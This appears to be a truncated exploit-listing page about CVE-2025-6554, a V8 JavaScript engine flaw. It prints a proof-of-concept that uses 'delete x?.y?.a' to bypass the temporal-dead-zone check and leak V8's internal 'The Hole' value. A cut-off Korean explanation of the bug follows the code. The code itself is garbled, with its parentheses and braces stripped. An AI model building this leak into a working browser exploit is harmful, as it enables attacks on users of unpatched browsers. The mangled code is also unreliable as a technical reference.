CVE-2025-6554

CVE-2025-6554 root@kitploit: function leakhole let x; delete x?.y?.a; return y; let y; function pwn let hole = leakhole; %DebugPrinthole; pwn; 버그 변수 y가 선언되기 전에 접근되었습니다. 일반적으로 이는 ReferenceErrorTDZ를 발생시켜야 하지만, 구형 V8에서는 delete x?.y와 결합될 때 검사가 실패하여 내부 센티널 값인 "The Hole"을 반환했습니다. 패치 이전 V8은 TDZ를 한 번만 확인...